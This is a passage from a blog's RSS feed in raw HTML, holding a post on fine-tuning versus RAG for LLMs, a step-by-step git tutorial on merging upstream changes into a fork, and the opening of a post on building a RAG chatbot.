https://substackcdn.com/image/fetch/$s_!MlhW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MlhW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png" width="1000" height="352" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:352,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;graphic 3&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="graphic 3" title="graphic 3" srcset="https://substackcdn.com/image/fetch/$s_!MlhW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png 424w, https://substackcdn.com/image/fetch/$s_!MlhW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png 848w, https://substackcdn.com/image/fetch/$s_!MlhW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png 1272w, https://substackcdn.com/image/fetch/$s_!MlhW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e5273-cd29-479e-8c27-bab1f1abc195_1000x352.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Graphic adapted from OpenAI&#8217;s presentation</em></p><div><hr></div><h1>Is it an actions issue?</h1><p>If the required optimisation is related to how the model needs to act, then fine-tuning will likely be a good approach. Fine-tuning <em>&#8220;continues the training process on a smaller domain-specific dataset to optimise a model for a specific task&#8221;.</em></p><h2>Fine-tuning</h2><p>Fine-tuning is equivalent to teaching a general knowledge worker a specialised skill. It can drastically improve a model&#8217;s performance on a specific task while also making the fine-tuned model more efficient (on that specific task) than its corresponding base model.</p><p>Fine-tuning is often more effective than prompt engineering or few-shot learning because a much smaller token count inherently constrains these techniques. Only so much data can be put into the context window, whereas in fine-tuning, exposing the model to millions of tokens of specialised data is achieved relatively easily.</p><p>In terms of model efficiency, fine-tuning provides a way to reduce the number of tokens otherwise needed to get the model to perform the specialised task. Often, there is no need to offer in-context examples or explicit schemas, which translates into saved tokens. Sometimes, it can also distil the specialised task into a model smaller than the base one from which it was derived. Again, this ultimately translates into saved resources.</p><p>When fine-tuning, Colin suggests in the video that you start with a simple dataset without complex instructions, formal schemas, or in-context examples. All that is needed are natural language descriptions and the desired structure of the output.</p><h2>Where fine-tuning excels</h2><p>Fine-tuning works well when it emphasises pre-existing knowledge within the model, is used to customise the structure or tone of the desired output, or fine-tunes a highly complex set of instructions. The example given in the video is that of a text-to-SQL task. Base models like GPT-3.5 and GPT-4 already know everything there is to know about SQL, but they might perform poorly if asked about an obscure dialect of SQL. Fine-tuning is equivalent to telling the model to emphasise those aspects of its already present knowledge.</p><h3>Where it won&#8217;t excel</h3><p>Fine-tuning will not work to teach the model something new. And the reason can be thought of as the inverse of why fine-tuning excels in emphasising pre-existing knowledge. Consider the large datasets for some LLMs (like the-entirety-of-the-internet large). These training runs were so extensive that any attempt to use fine-tuning to inject new knowledge would be quickly lost in the pre-existing knowledge. If this is the objective, approaching the problem with RAG will be better.</p><p>Lastly, fine-tuning is a slow, iterative process. Preparing data and training requires a lot of investment, so it isn&#8217;t great for quick iterations.</p><h2>Quality over quantity</h2><p>It&#8217;s worth jumping to <a href="https://youtu.be/ahnGLM-RC1Y?si=mVBDUZtccM9RGH-t&amp;t=1929">this part of the video</a> for a humourous and cautionary tale on quality over quantity. In short, the takeaway from here is to ensure the fine-tuning data accurately represents the desired outcome; start small, confirm movement in the right direction, and then iterate from there.</p><p>And if you think fine-tuning a model on 200,000 of your Slack messages is a good place to start, maybe consider that a little longer.</p><div><hr></div><h2>Useful resources</h2><ul><li><p><a href="https://youtu.be/ahnGLM-RC1Y?si=Y-Dfy5CPxGT79ZBQ">A Survey of Techniques for Maximizing LLM Performance (Original OpenAI video on which this article is based)</a></p></li><li><p><a href="https://cs.stanford.edu/~nfliu/papers/lost-in-the-middle.arxiv2023.pdf">Lost in the Middle: How Language Models Use Large Contexts</a></p></li></ul>]]></content:encoded></item><item><title><![CDATA[GitHub - Managing upstream changes]]></title><description><![CDATA[An overview of how to manage upstream changes in a GitHub repository]]></description><link>https://www.emdeh.com/p/github-managing-upstream-changes</link><guid isPermaLink="false">https://www.emdeh.com/p/github-managing-upstream-changes</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Sun, 18 Feb 2024 21:24:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Mq6_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Mq6_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Mq6_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!Mq6_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!Mq6_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!Mq6_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Mq6_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp" width="1024" height="1024" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Mq6_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!Mq6_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!Mq6_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!Mq6_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F848f8111-409c-41f6-9e90-807aaaf6d812_1024x1024.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Introduction</h1><p>When a GitHub repository is forked, it can maintain a connection with the original codebase, which is called the <strong>upstream</strong> repository or branch. This connection means that the forked repository can be modified as needed, but if changes are made to the original, such as new features, they can be integrated into the forked version.</p><p>This article outlines the steps to pull changes from an upstream repository into a forked version. Specifically, it outlines how to pull changes into a separate branch for testing and then how to <strong>merge</strong> those changes into the main branch of the fork after testing and resolving any conflicts<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-1" href="#footnote-1" target="_self">1</a>.</p><h2>High-level workflow for Merging Upstream Changes:</h2><ol><li><p><strong>Creating a New Branch:</strong> When upstream changes need to be merged, create a new branch in the forked repository based on the forked repository&#8217;s main branch.</p></li><li><p><strong>Pulling Upstream Changes:</strong> Pull the changes from the upstream repository into this new branch. Resolve any conflicts here.</p></li><li><p><strong>Testing:</strong> Use this branch to test the deployment to ensure everything works as expected. For example, if it&#8217;s a website, run it locally from the new branch, or if it&#8217;s a deployment, deploy from the branch to confirm everything is in order.</p></li><li><p><strong>Creating a Pull Request:</strong> Once the branch with the upstream changes has been tested, create a Pull Request to merge this branch into the main branch. The Pull Request can be drafted during testing if necessary.</p></li><li><p><strong>Review and Merge:</strong> Review the Pull Request in GitHub. After any necessary approvals, merge the Pull Request.</p></li><li><p><strong>Delete the Branch:</strong> After the merge, the branch used to test the upstream changes can be deleted.</p></li></ol><h2>Prerequisites</h2><ul><li><p>Ensure Git is installed on the system.</p></li><li><p>Ensure access to the repository and its upstream repository.</p></li></ul><div><hr></div><h1>Steps</h1><h4>1. Navigate to the local repo</h4><p></p><h4>2. Update the local main branch</h4><p>Ensure the local <code>main</code> branch (or whichever branch will ultimately receive the tested upstream changes) is up to date with the remote repository.</p><pre><code><code>git checkout main 
# Checkout the local copy of the main branch

git pull origin main 
# Pull remote changes into the local copy of the main branch</code></code></pre><h4>3. Fetch changes from the upstream repository</h4><p>Fetch changes from the upstream repository without merging them.</p><pre><code><code>git fetch upstream</code></code></pre><h4>4. Create a new branch for testing the upstream changes</h4><p>Create a new branch based on the <code>main</code> branch to test the upstream changes.</p><blockquote><p><em><strong>This is important, as it protects the stability of the branch from which the code is deployed.</strong></em></p></blockquote><pre><code><code>git checkout -b upstream-changes main 
# Create a new branch called upstream-changes based off the main branch</code></code></pre><h4>5. Merge upstream changes into the new branch</h4><p>Merge the changes from the upstream repository into the new branch.</p><pre><code><code>git merge upstream/main</code></code></pre><div><hr></div><h4>Resolving merge conflicts</h4><p>If there are merge conflicts, Git will pause the merge process and mark the files that have conflicts. Here is how to resolve them:</p><ul><li><p>Open the conflicted files in VS Code.</p></li><li><p>Look for the areas marked as conflicts (usually indicated by <code>&lt;&lt;&lt;&lt;&lt;&lt;</code>, <code>======</code>, and <code>&gt;&gt;&gt;&gt;&gt;&gt;&gt;</code>).</p></li><li><p>Manually edit the files to resolve the conflicts. Choose which changes to keep or combine as needed.</p></li><li><p>After resolving conflicts, add the files to staging: <code>git add .</code></p></li><li><p>Then, continue the merge process: <code>git merge --continue</code></p></li><li><p>Once all conflicts are resolved and the merge is successful, proceed with the next steps.</p></li></ul><div><hr></div><h4>6. Push the new branch to Github</h4><p>It&#8217;s good practice to push the newly created branch with the upstream changes to the remote repository.</p><pre><code><code>git push origin upstream-changes</code></code></pre><h4>7. Open a Pull Request in GitHub</h4><p>Now, the Pull Request can be opened in draft.</p><blockquote><p><em>Be careful that the Pull Request is proposing to pull the </em><code>upstream-changes</code> branch into your own <code>main</code> branch, and <strong>not</strong> the <code>main</code> branch of the upstream repository.</p></blockquote><ul><li><p>Go to the repository in GitHub.</p></li><li><p>Open a Pull Request for the <code>upstream-changes</code> branch against the <code>main</code> branch.</p></li><li><p>This usually initiates any review process.</p></li></ul><blockquote><p><em>Do not merge it yet.</em></p></blockquote><h4>8. Deploy the Test branch</h4><p>Deploy or run the <code>upstream-changes</code> branch locally, or undertake whatever steps are required to confirm the changes.</p><h4>9. Review and merge the pull request</h4><p>If the tests are successful, merge the changes into main by merging the pull request into the <code>main</code> branch through the GitHub interface<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-2" href="#footnote-2" target="_self">2</a>.</p><h4>10. Update the local main branch and clean up</h4><p>After merging the pull request, update the local <code>main</code> branch and then delete the test branch.</p><pre><code><code>git checkout main 
# Switch back to the main branch

git pull origin main 
# Pull the remote version of main to the local copy so it is up-to-date with the recent merge

git branch -d upstream-changes 
# Delete the local copy of the branch used to test the upstream changes

git push origin --delete upstream-changes 
# Delete the remote copy of the branch used to test the upstream changes</code></code></pre><h4>11. Redeploy from the main branch</h4><p>If required, it&#8217;s good practice to now re-deploy the codebase from the <code>main</code> branch.</p><div><hr></div><h1>Conclusion</h1><p>This process ensures that changes from the upstream repository are tested in isolation before being integrated into the main branch, minimising the risk of disruption to the main codebase.</p><h4>A quick note on <code>Git Fetch</code> vs. <code>Git Pull</code></h4><p>In Git, both <code>git fetch</code> and <code>git pull</code> are commands used to update local repository copies from a remote source. However, they serve different purposes and operate in distinct ways.</p><ul><li><p><code>git fetch</code> retrieves updates from a remote repository but doesn&#8217;t automatically merge them into the current working branch. When <code>git fetch upstream</code> is executed, for instance, Git fetches any new work that has been pushed to the upstream repository since the last fetch, updating the local remote-tracking branches (like upstream/main). However, <em>the working directory remains unchanged</em>. This command is useful for reviewing changes before integrating them into the local branch.</p></li><li><p><code>git pull</code>, on the other hand, is a more aggressive command that not only fetches updates from the remote repository but also automatically merges them into your current working branch. Essentially, <code>git pull</code> is a combination of <code>git fetch</code> followed by <code>git merge</code>. When executed <code>git pull origin main</code>, Git fetches the changes from the main branch of the remote named origin and immediately attempts to merge them into the current working branch. This command is handy for quickly updating local branches with the latest changes from the remote, assuming they&#8217;re ready to be merged without a review process.</p></li></ul><p>In Summary <code>git fetch</code> is when the changes require review before merging. Use <code>git pull</code> when integrating the remote changes immediately into the local branch without a preliminary review is not a concern.</p><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-1" href="#footnote-anchor-1" class="footnote-number" contenteditable="false" target="_self">1</a><div class="footnote-content"><p>This is by no means meant to represent a best practice - it is simply a process that works for me in managing repositories that maintain a link to the original source.</p></div></div><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-2" href="#footnote-anchor-2" class="footnote-number" contenteditable="false" target="_self">2</a><div class="footnote-content"><h4>What type of merge to use?<br><br><em><strong>When to use Merge Commit</strong></em></h4><p>Opt for a merge commit when you want to preserve the exact history of changes, including the individual commits, from a feature branch without altering the commit history. This approach is beneficial when you want to maintain a visual representation of the feature branch within the main branch, making it easier to track and understand the flow of changes. It&#8217;s especially useful for complex features or significant changes that involve multiple developers or require detailed historical context for future reference.</p><p>The merge commit approach adds a new commit to the main branch that &#8220;merges&#8221; the histories, ensuring that the main branch&#8217;s history reflects the addition of the feature or changes from the feature branch as a merge. This method keeps the history of both branches intact and provides a clear merge point that can be referenced in the future</p><blockquote><p><em>If Linear History is on and the branch being being merged into is protected, the only options may be <strong>Rebase</strong> or <strong>Squash</strong>.</em></p></blockquote><h5><em>When to use Rebase</em></h5><p>Use this when you want to maintain a detailed commit history from the feature/test branch in the main branch. It&#8217;s suitable for code changes where each commit&#8217;s history is important for context, such as new features or significant code revisions.</p><h5><em>When to use Squash</em></h5><p>Opt for this when dealing with a series of minor or incremental changes, such as documentation updates or small tweaks. It combines all feature branch commits into a single commit for a cleaner main branch history, making it ideal for simpler or less impactful changes.</p></div></div>]]></content:encoded></item><item><title><![CDATA[Using Retrieval Augmented Generation (RAG) for chatbots]]></title><description><![CDATA[A simple example of how RAG can be used for a website's chatbot.]]></description><link>https://www.emdeh.com/p/using-retrieval-augmented-generation</link><guid isPermaLink="false">https://www.emdeh.com/p/using-retrieval-augmented-generation</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Fri, 16 Feb 2024 09:21:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!D5__!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!D5__!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!D5__!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!D5__!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!D5__!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!D5__!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!D5__!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp" width="1024" height="1024" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ebfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!D5__!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!D5__!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!D5__!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!D5__!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febfbbb8f-bf34-456f-b098-2edf1a546eb7_1024x1024.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Introduction</h1><p>This project leverages a Retrieval Augmented Generation (RAG) implementation to create an intelligent question-answering system for a website. The project automates the collection of contextual data from the site, processes this data with an embeddings model to generate vector representations, and utilises these vectors to provide relevant answers to user queries through a chatbot using a Language Model (LLM) to craft responses in a conservational tone.</p><p>You can find the code and a detailed overview in the <a href="https://github.com/emdeh/web-crawl-qna-blog-bot">Github repository</a>.</p><h2>Contents</h2><ul><li><p><a href="https://emdeh.substack.com/i/145121526/what-is-retrieval-augmented-generation-rag">What is RAG</a></p></li><li><p><a href="https://emdeh.substack.com/i/145121526/what-are-embeddings">Embeddings</a></p></li><li><p><a href="https://emdeh.substack.com/i/145121526/overview-of-a-rag-implementation">Implementation overview</a></p></li><li><p><a href="https://emdeh.substack.com/i/145121526/code-overview">Code overview</a></p></li></ul><div><hr></div><h1>What is Retrieval Augmented Generation (RAG)</h1><p>Retrieval Augmented Generation (RAG) is a sophisticated approach that enhances the capabilities of generative models, particularly Large Language Models (LLMs), by integrating an additional information retrieval step into the response generation process. This method involves dynamically sourcing relevant external information to augment the input provided to the generative model, thereby enriching its responses with details and insights not contained within its pre-trained knowledge base. Embeddings and vector representations typically facilitate the retrieval of additional information to identify content contextually similar to the user&#8217;s prompt.</p><h1>What are Embeddings</h1><p>Embeddings are a form of representation learning where words, sentences, or even entire documents are converted into real-valued vectors in a high-dimensional space. This process aims to capture the semantic meanings, relationships, and context of words or phrases, allowing machines to process natural language data more effectively. The vectors in the high-dimensional space represent the nuanced characteristics of the text, such as syntax, semantics, and usage patterns, in a form that can be quantitatively analysed. Each dimension could correspond to a latent feature that captures different aspects of the text&#8217;s meaning, not directly interpretable by humans but discernible through computational methods. By mapping textual information to a geometric space, embeddings enable the measurement of conceptual similarity between pieces of text based on their positions and distances within this space, facilitating tasks like search, classification, and contextual understanding in natural language processing applications. In the context of Retrieval-Augmented Generation (RAG), embeddings represent the queries (prompts) and the potential knowledge sources in a format that a computer can understand and compare.</p><h2>Vector Representations</h2><p>Vector representations are the outcome of converting text into embeddings, representing text as points or vectors in a multi-dimensional space. As described above, each dimension corresponds to a feature of the text, capturing various aspects of its meaning, context, or syntactical properties. Comparing vector representations involves calculating the similarity (often using cosine similarity or other metrics) between vectors to identify how closely related two pieces of text are. In RAG implementations that use embeddings, the vector representation of a user&#8217;s prompt is compared to the vector representations of various knowledge sources to identify the most relevant context. This relevant context is then retrieved and used to augment the response generated by a language model, enhancing the LLM&#8217;s ability to provide accurate and contextually enriched answers.</p><div class="pullquote"><p><strong>Credits<br></strong>This project was initially inspired by OpenAI&#8217;s Web Q&amp;A with Embeddings tutorial. Learn how to crawl your website and build a Q&amp;A bot with the OpenAI API. The full tutorial is available in the <a href="https://platform.openai.com/docs/tutorials/web-qa-embeddings">OpenAI documentation</a>.</p></div><h1>Overview of a RAG implementation</h1><p>The diagram below briefly outlines how a Retrieval-Augmented Generation (RAG) architecture leverages embeddings. In short, additional context is retrieved by comparing the prompt's vectors to the knowledge source's vectors. The related textual data is then appended to the prompt to <em>augment</em> the response <em>generated</em> by the LLM.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OhV6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OhV6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff118fa27-3536-4a8a-b349-d8b8404f8ccb_1245x641.png 424w, 